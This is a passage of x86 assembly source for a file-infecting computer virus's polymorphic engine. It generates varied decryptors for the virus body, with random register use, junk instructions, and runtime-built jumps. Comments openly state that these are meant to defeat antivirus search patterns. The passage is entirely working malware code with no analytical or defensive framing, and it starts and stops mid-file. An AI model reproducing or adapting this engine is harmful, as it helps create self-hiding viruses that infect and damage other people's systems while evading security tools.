;This buffer will contain the code to "crypt" the virus code
|
|
;followed by a RET instruction
|
|
;============================================================
|
|
|
|
perform_crypt: db 10h dup (90h)
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Load pointer
|
|
;
|
|
;We dont need to get delta-offset, this virus assumes fixed load address
|
|
;============================================================================
|
|
|
|
gen_load_ptr: mov al,0B8h
|
|
or al,byte ptr [ebp+index_mask]
|
|
stosb
|
|
mov eax,dword ptr [ebp+host_base]
|
|
add eax,dword ptr [ebp+PtrToCrypt]
|
|
add eax,dword ptr [ebp+ptr_disp]
|
|
mov edx,dword ptr [ebp+virus_sh]
|
|
sub eax,dword ptr [edx+SH_PointerToRawData]
|
|
add eax,dword ptr [edx+SH_VirtualAddress]
|
|
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
|
|
jz fix_dir_ok
|
|
push eax ;Fix upon direction
|
|
call fixed_size2ecx
|
|
xor eax,eax
|
|
mov al,byte ptr [ebp+oper_size]
|
|
push eax
|
|
mul ecx
|
|
pop ecx
|
|
sub eax,ecx
|
|
pop ecx
|
|
add eax,ecx
|
|
fix_dir_ok: stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Load counter
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Easy now, just move counter random initial value
|
|
;into counter reg and calculate the end value
|
|
;============================================================
|
|
|
|
gen_load_ctr: mov al,0B8h
|
|
or al,byte ptr [ebp+counter_mask]
|
|
stosb
|
|
call fixed_size2ecx
|
|
call get_rnd32
|
|
stosd
|
|
test byte ptr [ebp+build_flags],CRYPT_CDIR
|
|
jnz counter_down
|
|
counter_up: add eax,ecx
|
|
jmp short done_ctr_dir
|
|
counter_down: sub eax,ecx
|
|
done_ctr_dir: mov dword ptr [ebp+end_value],eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Decrypt
|
|
;============================================================================
|
|
|
|
gen_decrypt: mov eax,dword ptr [ebp+ptr_disp]
|
|
mov dword ptr [ebp+fake_ptr_disp],eax
|
|
|
|
mov eax,dword ptr [ebp+crypt_key]
|
|
mov dword ptr [ebp+fake_crypt_key],eax
|
|
|
|
mov al,byte ptr [ebp+build_flags]
|
|
mov byte ptr [ebp+fake_build_flags],al
|
|
|
|
mov al,byte ptr [ebp+oper_size]
|
|
mov byte ptr [ebp+fake_oper_size],al
|
|
|
|
mov al,byte ptr [ebp+index_mask]
|
|
mov byte ptr [ebp+fake_index_mask],al
|
|
|
|
call fake_or_not
|
|
|
|
xor eax,eax
|
|
mov al,byte ptr [ebp+oper_size]
|
|
shr eax,01h
|
|
shl eax,02h
|
|
add esi,eax
|
|
lodsd
|
|
add eax,ebp
|
|
mov esi,eax
|
|
push edi
|
|
lea edi,dword ptr [ebp+perform_crypt]
|
|
loop_string: lodsb
|
|
cmp al,MAGIC_ENDSTR
|
|
je end_of_magic
|
|
cmp al,MAGIC_ENDKEY
|
|
je last_spell
|
|
xor ecx,ecx
|
|
mov cl,al
|
|
rep movsb
|
|
jmp short loop_string
|
|
last_spell: call copy_key
|
|
end_of_magic: mov al,0C3h
|
|
stosb
|
|
pop edi
|
|
ret
|
|
|
|
;============================================================================
|
|
;Copy encryption key into work buffer taking care about operand size
|
|
;============================================================================
|
|
|
|
copy_key: mov eax,dword ptr [ebp+fake_crypt_key]
|
|
movzx ecx,byte ptr [ebp+fake_oper_size]
|
|
loop_key: stosb
|
|
shr eax,08h
|
|
loop loop_key
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Move index to next step
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Get number of bytes to inc or dec the index reg
|
|
;============================================================
|
|
|
|
gen_next_step: movzx ecx,byte ptr [ebp+oper_size]
|
|
|
|
;============================================================
|
|
;Get number of bytes to update with this instruction
|
|
;============================================================
|
|
|
|
loop_update: mov eax,ecx
|
|
call get_rnd_range
|
|
inc eax
|
|
|
|
;============================================================
|
|
;Check direction
|
|
;============================================================
|
|
|
|
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
|
|
jnz step_down
|
|
|
|
call do_step_up
|
|
jmp short next_update
|
|
|
|
step_down: call do_step_down
|
|
|
|
next_update: sub ecx,eax
|
|
call GenGarbageEx
|
|
jecxz end_update
|
|
jmp short loop_update
|
|
end_update: ret
|
|
|
|
;============================================================
|
|
;Move index_reg up
|
|
;============================================================
|
|
|
|
do_step_up: push eax
|
|
|
|
mov eax,NumIdxUp
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_idx_up+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
jmp eax
|
|
|
|
IdxUpWithADD: mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
stosd
|
|
ret
|
|
|
|
IdxUpWithSUB: mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
neg eax
|
|
stosd
|
|
neg eax
|
|
ret
|
|
|
|
IdxUpWithINC: mov al,40h
|
|
or al,byte ptr [ebp+index_mask]
|
|
stosb
|
|
pop eax
|
|
mov eax,000000001h
|
|
ret
|
|
|
|
IdxUpADDADD: call save_it_ADD
|
|
push eax
|
|
mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
sub eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxUpADDSUB: call save_it_ADD
|
|
push eax
|
|
mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
sub eax,edx
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxUpSUBSUB: call save_it_SUB
|
|
push eax
|
|
mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
add eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxUpSUBADD: call save_it_SUB
|
|
push eax
|
|
mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
add eax,edx
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
;============================================================
|
|
;Move index_reg down
|
|
;============================================================
|
|
|
|
do_step_down: push eax
|
|
|
|
mov eax,NumIdxDown
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_idx_down+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
jmp eax
|
|
|
|
IdxDownWithADD: mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
neg eax
|
|
stosd
|
|
neg eax
|
|
ret
|
|
|
|
IdxDownWithSUB: mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
stosd
|
|
ret
|
|
|
|
IdxDownWithDEC: mov al,48h
|
|
or al,byte ptr [ebp+index_mask]
|
|
stosb
|
|
pop eax
|
|
mov eax,00000001h
|
|
ret
|
|
|
|
IdxDownADDADD: call save_it_ADD
|
|
push eax
|
|
mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
sub eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxDownADDSUB: call save_it_ADD
|
|
push eax
|
|
mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
sub eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxDownSUBSUB: call save_it_SUB
|
|
push eax
|
|
mov ax,0E881h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
add eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
IdxDownSUBADD: call save_it_SUB
|
|
push eax
|
|
mov ax,0C081h
|
|
or ah,byte ptr [ebp+index_mask]
|
|
stosw
|
|
pop eax
|
|
pop edx
|
|
add eax,edx
|
|
neg eax
|
|
stosd
|
|
mov eax,edx
|
|
ret
|
|
|
|
save_it_ADD: call total_save_it
|
|
push edx
|
|
mov al,03h
|
|
stosw
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
call GenGarbageEx
|
|
pop eax
|
|
ret
|
|
|
|
save_it_SUB: call total_save_it
|
|
push edx
|
|
mov al,2Bh
|
|
stosw
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
call GenGarbageEx
|
|
pop eax
|
|
ret
|
|
|
|
total_save_it: call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
mov al,0B8h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call get_rnd32
|
|
stosd
|
|
push eax
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
mov ah,byte ptr [ebp+index_mask]
|
|
shl ah,03h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
or ah,0C0h
|
|
pop edx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Next counter value
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Check counter direction and update counter
|
|
;using a INC or DEC instruction
|
|
;============================================================
|
|
|
|
gen_next_ctr: test byte ptr [ebp+build_flags],CRYPT_CDIR
|
|
jnz upd_ctr_down
|
|
upd_ctr_up: call get_rnd32
|
|
and al,01h
|
|
jz CountUpINC
|
|
|
|
mov al,40h
|
|
jmp DoShitWithCtr
|
|
|
|
CountUpINC: mov al,40h
|
|
or al,byte ptr [ebp+counter_mask]
|
|
jmp short upd_ctr_ok
|
|
|
|
upd_ctr_down: call get_rnd32
|
|
and al,01h
|
|
jz CountUpDEC
|
|
|
|
mov al,48h
|
|
jmp DoShitWithCtr
|
|
|
|
CountUpDEC: mov al,48h
|
|
or al,byte ptr [ebp+counter_mask]
|
|
upd_ctr_ok: stosb
|
|
ret
|
|
|
|
DoShitWithCtr: push eax
|
|
|
|
call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|
shl ah,03h
|
|
or ah,byte ptr [ebp+counter_mask]
|
|
or ah,0C0h
|
|
mov al,8Bh
|
|
stosw
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
|
|
pop eax
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
mov ah,byte ptr [ebp+counter_mask]
|
|
shl ah,03h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
or ah,0C0h
|
|
mov al,8Bh
|
|
stosw
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryptor action: Loop
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Use counter reg in CMP instruction?
|
|
;============================================================
|
|
|
|
gen_loop: test byte ptr [ebp+build_flags],CRYPT_CMPCTR
|
|
jnz doloopauxreg
|
|
|
|
;============================================================
|
|
;Generate CMP counter_reg,end_value
|
|
;============================================================
|
|
|
|
mov ax,0F881h
|
|
or ah,byte ptr [ebp+counter_mask]
|
|
stosw
|
|
mov eax,dword ptr [ebp+end_value]
|
|
stosd
|
|
jmp doloopready
|
|
|
|
;============================================================
|
|
;Get a random valid register to use in a CMP instruction
|
|
;============================================================
|
|
|
|
doloopauxreg: call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
;============================================================
|
|
;Move index reg value into aux reg
|
|
;============================================================
|
|
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|
shl ah,03h
|
|
or ah,byte ptr [ebp+counter_mask]
|
|
or ah,0C0h
|
|
mov al,8Bh
|
|
stosw
|
|
|
|
;============================================================
|
|
;Guess what!?
|
|
;============================================================
|
|
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
|
|
call get_rnd32
|
|
and al,03h
|
|
or al,al
|
|
jz loop_use_cmp
|
|
test al,02h
|
|
jz loop_use_sub
|
|
|
|
;============================================================
|
|
;Generate ADD aux_reg,-end_value
|
|
;============================================================
|
|
|
|
loop_use_add: mov ax,0C081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
mov eax,dword ptr [ebp+end_value]
|
|
neg eax
|
|
stosd
|
|
jmp short done_loop_use
|
|
|
|
;============================================================
|
|
;Generate CMP aux_reg,end_value
|
|
;============================================================
|
|
|
|
loop_use_cmp: mov ax,0F881h
|
|
jmp short loop_mask_here
|
|
|
|
;============================================================
|
|
;Generate SUB aux_reg,end_value
|
|
;============================================================
|
|
|
|
loop_use_sub: mov eax,0E881h
|
|
loop_mask_here: or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
mov eax,dword ptr [ebp+end_value]
|
|
stosd
|
|
|
|
;============================================================
|
|
;Restore aux reg state
|
|
;============================================================
|
|
|
|
done_loop_use: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
;============================================================
|
|
;Generate conditional jump
|
|
;============================================================
|
|
|
|
doloopready: mov eax,NumExitLoop
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+TblExitLoop+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
jmp eax
|
|
|
|
TblExitLoop equ $
|
|
|
|
dd offset doloopup
|
|
dd offset doloopdown
|
|
dd offset doloopmix
|
|
|
|
NumExitLoop equ ($-TblExitLoop)/04h
|
|
|
|
;============================================================
|
|
;Generate the following structure:
|
|
;
|
|
; loop_point:
|
|
; ...
|
|
; jnz loop_point
|
|
; ...
|
|
; jmp decrypted-code
|
|
;============================================================
|
|
|
|
doloopup: mov dword ptr [ebp+condition_ptr],edi
|
|
mov ax,850Fh
|
|
stosw
|
|
mov eax,dword ptr [ebp+loop_point]
|
|
sub eax,edi
|
|
sub eax,00000004h
|
|
stosd
|
|
call GenGarbageEx
|
|
|
|
mov esi,dword ptr [ebp+PtrToEP]
|
|
call DoComplexCmp
|
|
jmp CreateFog
|
|
|
|
;============================================================
|
|
;...or this one:
|
|
;
|
|
; loop_point:
|
|
; ...
|
|
; jz decrypted-code
|
|
; ...
|
|
; jmp loop_point
|
|
; ...
|
|
;============================================================
|
|
|
|
doloopdown: mov dword ptr [ebp+condition_ptr],edi
|
|
mov ax,840Fh
|
|
stosw
|
|
mov eax,dword ptr [ebp+PtrToEP]
|
|
|
|
sub eax,edi
|
|
sub eax,00000004h
|
|
stosd
|
|
call GenGarbageEx
|
|
|
|
mov esi,dword ptr [ebp+loop_point]
|
|
call DoComplexCmp
|
|
jmp CreateFog
|
|
|
|
;============================================================
|
|
;Generate the following structure:
|
|
;
|
|
; loop_point:
|
|
; ...
|
|
; jnz auxdest
|
|
; ...
|
|
; jmp decrypted-code
|
|
; ...
|
|
; auxdest:
|
|
; ...
|
|
; jmp loop_point
|
|
;============================================================
|
|
|
|
doloopmix: mov dword ptr [ebp+condition_ptr],edi
|
|
mov ax,850Fh
|
|
stosw
|
|
push edi
|
|
stosd
|
|
call GenGarbageEx
|
|
mov esi,dword ptr [ebp+PtrToEP]
|
|
call DoComplexCmp
|
|
call GenGarbageEx
|
|
pop edx
|
|
mov eax,edi
|
|
sub eax,00000004h
|
|
sub eax,edx
|
|
mov dword ptr [edx],eax
|
|
call GenGarbageEx
|
|
mov esi,dword ptr [ebp+loop_point]
|
|
call DoComplexCmp
|
|
|
|
;============================================================
|
|
;I notice some AV was using the JZ/JNZ instruction at the
|
|
;end of the decryptor in a search pattern... So now im going
|
|
;to build it at runtime (sometimes...)
|
|
;============================================================
|
|
|
|
CreateFog: test byte ptr [ebp+build_flags],CRYPT_FOG
|
|
jz NoFogRet
|
|
|
|
mov eax,NumFog
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+TblDoFog+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
call eax
|
|
|
|
mov eax,NumFixFog
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+TblFixFog+eax*04h]
|
|
lodsd
|
|
mov esi,dword ptr [ebp+condition_ptr]
|
|
add eax,ebp
|
|
call eax
|
|
|
|
NoFogRet: ret
|
|
|
|
;============================================================================
|
|
;Prepare pointer to memory into fog block, using ADD
|
|
;============================================================================
|
|
|
|
DoFogAdd: call FogStart
|
|
sub eax,dword ptr [ebp+Xrnd1]
|
|
push edi
|
|
push eax
|
|
mov ebx,dword ptr [ebp+XrndReg]
|
|
mov edi,dword ptr [ebp+XrndFixPtr]
|
|
mov ax,0C081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
pop eax
|
|
stosd
|
|
pop edi
|
|
ret
|
|
|
|
FixFogAdd: push edi
|
|
mov edi,dword ptr [ebp+XrndMath]
|
|
mov al,81h
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call get_rnd32
|
|
stosd
|
|
sub dword ptr [esi],eax
|
|
pop edi
|
|
ret
|
|
|
|
;============================================================================
|
|
;Prepare pointer to memory into fog block, using SUB
|
|
;============================================================================
|
|
|
|
DoFogSub: call FogStart
|
|
neg eax
|
|
add eax,dword ptr [ebp+Xrnd1]
|
|
push edi
|
|
push eax
|
|
mov ebx,dword ptr [ebp+XrndReg]
|
|
mov edi,dword ptr [ebp+XrndFixPtr]
|
|
mov ax,0E881h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
pop eax
|
|
stosd
|
|
pop edi
|
|
ret
|
|
|
|
FixFogSub: push edi
|
|
mov edi,dword ptr [ebp+XrndMath]
|
|
mov ax,2881h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call get_rnd32
|
|
stosd
|
|
add dword ptr [esi],eax
|
|
pop edi
|
|
ret
|
|
|
|
;============================================================================
|
|
;Prepare pointer to memory into fog block, using XOR
|
|
;============================================================================
|
|
|
|
DoFogXor: call FogStart
|
|
xor eax,dword ptr [ebp+Xrnd1]
|
|
push edi
|
|
push eax
|
|
mov ebx,dword ptr [ebp+XrndReg]
|
|
mov edi,dword ptr [ebp+XrndFixPtr]
|
|
mov ax,0F081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
pop eax
|
|
stosd
|
|
pop edi
|
|
ret
|
|
|
|
FixFogXor: push edi
|
|
mov edi,dword ptr [ebp+XrndMath]
|
|
mov ax,3081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call get_rnd32
|
|
stosd
|
|
xor dword ptr [esi],eax
|
|
pop edi
|
|
ret
|
|
|
|
;============================================================================
|
|
;Setup fog block
|
|
;============================================================================
|
|
|
|
FogStart: mov esi,dword ptr [ebp+condition_ptr]
|
|
mov eax,esi
|
|
call FromPoly2Rva
|
|
ret
|
|
|
|
;============================================================================
|
|
;Convert a given value in the poly decryptor to its future RVA
|
|
;
|
|
;On entry:
|
|
; eax -> Value to convert
|
|
;On exit:
|
|
; eax -> Converted value
|
|
;============================================================================
|
|
|
|
FromPoly2Rva: push edx
|
|
sub eax,dword ptr [ebp+map_is_here]
|
|
add eax,dword ptr [ebp+host_base]
|
|
mov edx,dword ptr [ebp+virus_sh]
|
|
sub eax,dword ptr [edx+SH_PointerToRawData]
|
|
add eax,dword ptr [edx+SH_VirtualAddress]
|
|
pop edx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Produce complex end determination
|
|
;
|
|
;On entry:
|
|
; esi -> PtrToEP or loop_point
|
|
;============================================================================
|
|
|
|
DoComplexCmp: call get_rnd32
|
|
and al,01h
|
|
jz JmpEndJmpReg
|
|
|
|
;============================================================
|
|
;Go using JMP imm
|
|
;============================================================
|
|
|
|
JmpEndJmpImm: mov al,0E9h
|
|
stosb
|
|
mov eax,esi
|
|
sub eax,edi
|
|
sub eax,00000004h
|
|
stosd
|
|
ret
|
|
|
|
;============================================================
|
|
;Go using complex escheme
|
|
;============================================================
|
|
|
|
JmpEndJmpReg: push esi
|
|
|
|
call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
mov al,0B8h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call get_rnd32
|
|
stosd
|
|
push eax
|
|
push ebx
|
|
call GenGarbageEx
|
|
|
|
mov eax,NumJmpEnd
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_jmp_end+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
|
|
pop ebx
|
|
pop edx
|
|
pop esi
|
|
|
|
call eax
|
|
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
|
|
call get_rnd32
|
|
and al,01h
|
|
jz EndUseJmpReg
|
|
|
|
EndUsePushRet: mov al,50h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
call GenGarbageEx
|
|
call gen_ret
|
|
ret
|
|
|
|
EndUseJmpReg: mov ax,0E0FFh
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
ret
|
|
|
|
;============================================================================
|
|
;Complex end using ADD
|
|
;============================================================================
|
|
|
|
jmpendregadd: mov ax,0C081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call ExtendedEnd
|
|
sub eax,edx
|
|
stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Complex end using SUB
|
|
;============================================================================
|
|
|
|
jmpendregsub: mov ax,0E881h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call ExtendedEnd
|
|
sub eax,edx
|
|
neg eax
|
|
stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Complex end using XOR
|
|
;============================================================================
|
|
|
|
jmpendregxor: mov ax,0F081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call ExtendedEnd
|
|
xor eax,edx
|
|
stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Complex fixed address
|
|
;============================================================================
|
|
|
|
ExtendedEnd: mov eax,esi
|
|
call FromPoly2Rva
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate init garbage
|
|
;============================================================================
|
|
|
|
GenInitGarbage: mov eax,00000005h
|
|
call get_rnd_range
|
|
or eax,eax
|
|
jz ExitInitGarbage
|
|
|
|
mov ecx,eax
|
|
loop_g_i_g: push ecx
|
|
|
|
mov eax,(end_i_g-tbl_i_g)/04h
|
|
call get_rnd_range
|
|
|
|
lea esi,dword ptr [ebp+tbl_i_g+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
call eax
|
|
|
|
pop ecx
|
|
loop loop_g_i_g
|
|
|
|
ExitInitGarbage:ret
|
|
|
|
;============================================================================
|
|
;Generate some garbage code
|
|
;============================================================================
|
|
|
|
GenGarbageEx: mov eax,00000004h
|
|
jmp short GoDirectToHell
|
|
gen_garbage: mov eax,00000002h
|
|
GoDirectToHell: push ecx
|
|
push esi
|
|
inc byte ptr [ebp+recursive_level]
|
|
|
|
call get_rnd_range
|
|
inc eax
|
|
inc eax
|
|
mov ecx,eax
|
|
loop_garbage: push ecx
|
|
mov eax,(end_garbage-tbl_garbage)/04h
|
|
|
|
cmp byte ptr [ebp+recursive_level],06h
|
|
jae too_much_shit
|
|
|
|
cmp byte ptr [ebp+recursive_level],02h
|
|
jb ok_gen_num
|
|
|
|
mov eax,(save_space-tbl_garbage)/04h
|
|
|
|
ok_gen_num: call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
call eax
|
|
too_much_shit: pop ecx
|
|
loop loop_garbage
|
|
|
|
;============================================================
|
|
;Update recursive level
|
|
;============================================================
|
|
|
|
exit_gg: dec byte ptr [ebp+recursive_level]
|
|
pop esi
|
|
pop ecx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate MOV reg,imm
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Generate MOV reg32,imm
|
|
;============================================================
|
|
|
|
g_movreg32imm: call get_valid_reg
|
|
mov al,0B8h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call get_rnd32
|
|
stosd
|
|
ret
|
|
|
|
;============================================================
|
|
;Generate MOV reg16,imm
|
|
;============================================================
|
|
|
|
g_movreg16imm: call get_valid_reg
|
|
mov ax,0B866h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
call get_rnd32
|
|
stosw
|
|
ret
|
|
|
|
;============================================================
|
|
;Generate MOV reg8,imm
|
|
;============================================================
|
|
|
|
g_movreg8imm: call get_valid_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_movreg8imm
|
|
call get_rnd32
|
|
mov al,0B0h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
push eax
|
|
call get_rnd32
|
|
pop edx
|
|
and ax,0004h
|
|
or ax,dx
|
|
stosw
|
|
a_movreg8imm: ret
|
|
|
|
;============================================================================
|
|
;Generate mov reg,reg
|
|
;============================================================================
|
|
|
|
g_movregreg32: call get_rnd_reg
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
cmp ebx,edx
|
|
je a_movregreg32
|
|
c_movregreg32: mov al,8Bh
|
|
h_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
|
|
shl ah,03h
|
|
or ah,byte ptr [edx+REG_MASK]
|
|
or ah,0C0h
|
|
stosw
|
|
a_movregreg32: ret
|
|
|
|
g_movregreg16: call get_rnd_reg
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
cmp ebx,edx
|
|
je a_movregreg32
|
|
mov al,66h
|
|
stosb
|
|
jmp short c_movregreg32
|
|
|
|
g_movregreg8: call get_rnd_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_movregreg8
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
mov al,8Ah
|
|
h_movregreg8: test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_movregreg8
|
|
cmp ebx,edx
|
|
je a_movregreg8
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|
shl ah,03h
|
|
or ah,byte ptr [edx+REG_MASK]
|
|
or ah,0C0h
|
|
push eax
|
|
call get_rnd32
|
|
pop edx
|
|
and ax,2400h
|
|
or ax,dx
|
|
stosw
|
|
a_movregreg8: ret
|
|
|
|
;============================================================================
|
|
;Generate xchg reg,reg
|
|
;============================================================================
|
|
|
|
g_xchgregreg32: call get_valid_reg
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
cmp ebx,edx
|
|
je a_movregreg32
|
|
h_xchgregreg32: mov al,87h
|
|
jmp h_movregreg32
|
|
|
|
g_xchgregreg16: call get_valid_reg
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
cmp ebx,edx
|
|
je a_movregreg32
|
|
mov al,66h
|
|
stosb
|
|
jmp short h_xchgregreg32
|
|
|
|
g_xchgregreg8: call get_valid_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_movregreg8
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
mov al,86h
|
|
jmp h_movregreg8
|
|
|
|
;============================================================================
|
|
;Generate MOVZX/MOVSX reg32,reg16
|
|
;============================================================================
|
|
|
|
g_movzx_movsx: call get_rnd32
|
|
mov ah,0B7h
|
|
and al,01h
|
|
jz d_movzx
|
|
mov ah,0BFh
|
|
d_movzx: mov al,0Fh
|
|
stosw
|
|
call get_rnd_reg
|
|
push ebx
|
|
call get_valid_reg
|
|
pop edx
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|
shl al,03h
|
|
or al,0C0h
|
|
or al,byte ptr [edx+REG_MASK]
|
|
stosb
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate INC reg
|
|
;============================================================================
|
|
|
|
g_inc_reg32: call get_valid_reg
|
|
mov al,40h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
ret
|
|
|
|
g_inc_reg16: mov al,66h
|
|
stosb
|
|
jmp short g_inc_reg32
|
|
|
|
g_inc_reg8: call get_valid_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_inc_reg8
|
|
call get_rnd32
|
|
and ah,04h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
or ah,0C0h
|
|
mov al,0FEh
|
|
stosw
|
|
a_inc_reg8: ret
|
|
|
|
;============================================================================
|
|
;Generate DEC reg
|
|
;============================================================================
|
|
|
|
g_dec_reg32: call get_valid_reg
|
|
mov al,48h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
ret
|
|
|
|
g_dec_reg16: mov al,66h
|
|
stosb
|
|
jmp short g_dec_reg32
|
|
|
|
g_dec_reg8: call get_valid_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_dec_reg8
|
|
call get_rnd32
|
|
and ah,04h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
or ah,0C8h
|
|
mov al,0FEh
|
|
stosw
|
|
a_dec_reg8: ret
|
|
|
|
;============================================================================
|
|
;Generate ADD/SUB/XOR/OR/AND reg,imm
|
|
;============================================================================
|
|
|
|
